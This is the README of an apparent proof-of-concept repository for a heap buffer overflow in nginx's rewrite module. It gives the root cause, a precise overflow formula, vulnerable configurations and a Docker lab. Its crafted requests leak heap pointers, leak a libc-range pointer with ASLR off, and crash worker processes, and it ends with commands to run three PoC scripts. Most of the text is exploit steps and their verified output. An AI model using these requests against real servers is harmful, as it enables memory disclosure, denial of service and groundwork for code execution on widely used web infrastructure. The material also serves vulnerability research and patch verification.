3nou9h/CVE-2026-9256-Poc

GitHub: 3nou9h/CVE-2026-9256-Poc

Stars: 2 | Forks: 0

# nginx ngx_http_rewrite_module Heap Buffer Overflow ## Description nginx Plus and nginx Open Source `ngx_http_rewrite_module` contains a heap buffer overflow vulnerability. When a `rewrite` directive uses a regex with multiple overlapping PCRE capture groups (e.g. `^/((.*))$`) and a replacement referencing multiple captures (e.g. `$1&y=$2`), the static-path buffer size calculation underestimates the space needed, causing the actual write to exceed the allocated size (Pool Slip). An unauthenticated attacker can trigger this via a crafted HTTP request, resulting in a heap buffer overflow in the worker process. When ASLR is disabled or can be bypassed, code execution is possible. ## Root Cause **File**: `src/http/ngx_http_script.c:1143-1155` if (code->lengths == NULL) { e->buf.len = code->size; if (code->uri) { if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) { // BUG: escape overhead counted once for the entire URI e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len, NGX_ESCAPE_ARGS); } } for (n = 2; n < r->ncaptures; n += 2) { e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length } } Each `$N` is escaped independently during copy (`ngx_http_script.c:1397-1401`). Nested captures cause the same substring to be escaped twice, doubling the escape cost, but the allocation only accounts for it once. **Overflow formula** (2-layer nesting `((.+))`, Q `+` characters in URI): allocated = code_size + 2*Q + 2*(Q+1) actual = code_size + 2*(3*Q + 1) overflow = 2*Q (precisely controllable) **Trigger conditions** (all three required): | Condition | Detail | |-----------|--------| | No named vars, no duplicate `$N` | Static path (`sc.variables==0 && !sc.dup_capture`) | | Nested capture group in regex | e.g. `((.+))` makes `$1` and `$2` match the same content | | `+` or `%XX` in URI | Triggers escape path (`plus_in_uri` or `quoted_uri`) | ## Test Environment ### Requirements - Docker (with docker compose) - Python 3 (no third-party dependencies) ### Directory Structure . ├── env/ │ ├── Dockerfile # Based on nginx:1.31.0 │ ├── docker-compose.yml # Container config (SYS_PTRACE) │ ├── entrypoint.sh # ASLR on (default) │ ├── entrypoint_aslr_off.sh # ASLR off (for libc_leak) │ └── nginx.conf # Vulnerable config ├── heap_leak.py # heap_leak PoC ├── libc_leak.py # libc_leak PoC ├── crash_verify.py # crash_verify PoC ├── LICENSE └── README.md ### Build & Run cd env/ # Pull base image (~200MB) docker pull nginx:1.31.0 # Build and start docker compose up --build -d # Verify curl -s http://127.0.0.1:19321/ # Expected: ok ### Common Commands # View nginx logs (crash info) docker compose logs -f # Stop and remove docker compose down # Restart (after crash) docker compose restart ### ASLR **Check current state**: cat /proc/sys/kernel/randomize_va_space # 0 = off, 1 = partial, 2 = full heap_leak and crash_verify work regardless of ASLR. libc_leak requires ASLR disabled on the host: sudo sysctl -w kernel.randomize_va_space=0 docker compose restart Alternatively, disable ASLR only for the nginx process (no host privilege needed): copy `entrypoint_aslr_off.sh` over `entrypoint.sh`, then `docker compose up --build -d`. ## Verified Results ### Heap Pointer Leak **Required config**: location /echo/ { rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last; } location /show { internal; default_type text/plain; return 200 "x=$arg_x\ny=$arg_y\n"; } **Mechanism**: Pool Slip causes `ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))` to land in the overflow zone. The script engine's initialized fields (`e->ip`, `e->sp`, `e->request`) leak into the rewritten URI's query string and are reflected via `return 200 "$arg_y"`. **Request**: GET /echo/%25%25%25%25%25A HTTP/1.0 **Verified result** (nginx:1.31.0, ASLR on): e->ip = 0x00006544dec82430 (config pool codes array) e->sp = 0x00006544dec5ada0 (request pool script stack) e->request = 0x00006544dec58880 (request struct) **What leaks**: Raw heap pointers within the nginx worker address space. **PoC**: `heap_leak.py` ### libc-range Pointer Leak **Required config**: location /leak2/ { rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last; } location /proxy-leak { internal; proxy_pass http://backend; # must be reachable add_header X-Leak-Y "$arg_y" always; } **Mechanism**: proxy_pass triggers upstream initialization. Upstream structures containing library function pointers are allocated in the overflow zone. `add_header "$arg_y"` writes the raw bytes into the response header. **Request**: GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0 **Verified result** (nginx:1.31.0, ASLR off, request_pool_size=7920): leaked ptr = 0x00007fbfc3b7c346 **What leaks**: A raw pointer in the `0x7f...` range (libc load region). To compute libc base, read `/proc//maps` on the target and compute `leaked_ptr - libc_base`. **ASLR dependency**: This stage requires ASLR off. The leaked pointer originates from freed chunk metadata (fd/bk → main_arena). With ASLR on, the freed chunk offset varies and small overflows cannot reliably reach it. **PoC**: `libc_leak.py` ### Worker Crash (DoS) **Required config**: location /leak9/ { rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last; } location /show9 { internal; default_type text/plain; return 200 "i=$arg_i\n"; } **Mechanism**: 9-layer nesting produces overflow = 16*Q (vs. 2*Q for 2-layer). At request_pool_size=7920, Q=123 exits the pool block boundary, overwriting adjacent malloc chunk metadata. glibc detects corruption and terminates the worker. Master auto-restarts. **Request**: GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0 **Verified result** (nginx:1.31.0, request_pool_size=7920): Q=122: normal response (overflow=1952B) Q=123: no response, nginx error.log: corrupted size vs. prev_size worker process XX exited on signal 6 (core dumped) Reproduced 5/5 times. **Nesting vs pool_size**: N layers produce overflow = `(N-1)*2*Q`. Default pool_size=4096 with 9-layer nesting is sufficient to crash. Larger pool_size requires fewer layers for a given Q. **PoC**: `crash_verify.py` ## Running the PoCs # Stage 1: Heap pointer leak python3 heap_leak.py 127.0.0.1 19321 # Stage 2: libc-range pointer leak (requires ASLR off) python3 libc_leak.py 127.0.0.1 19321 # Stage 3: DoS crash python3 crash_verify.py 127.0.0.1 19321 ## Disclaimer This proof-of-concept is provided for educational and authorized security research purposes only. Unauthorized use is prohibited.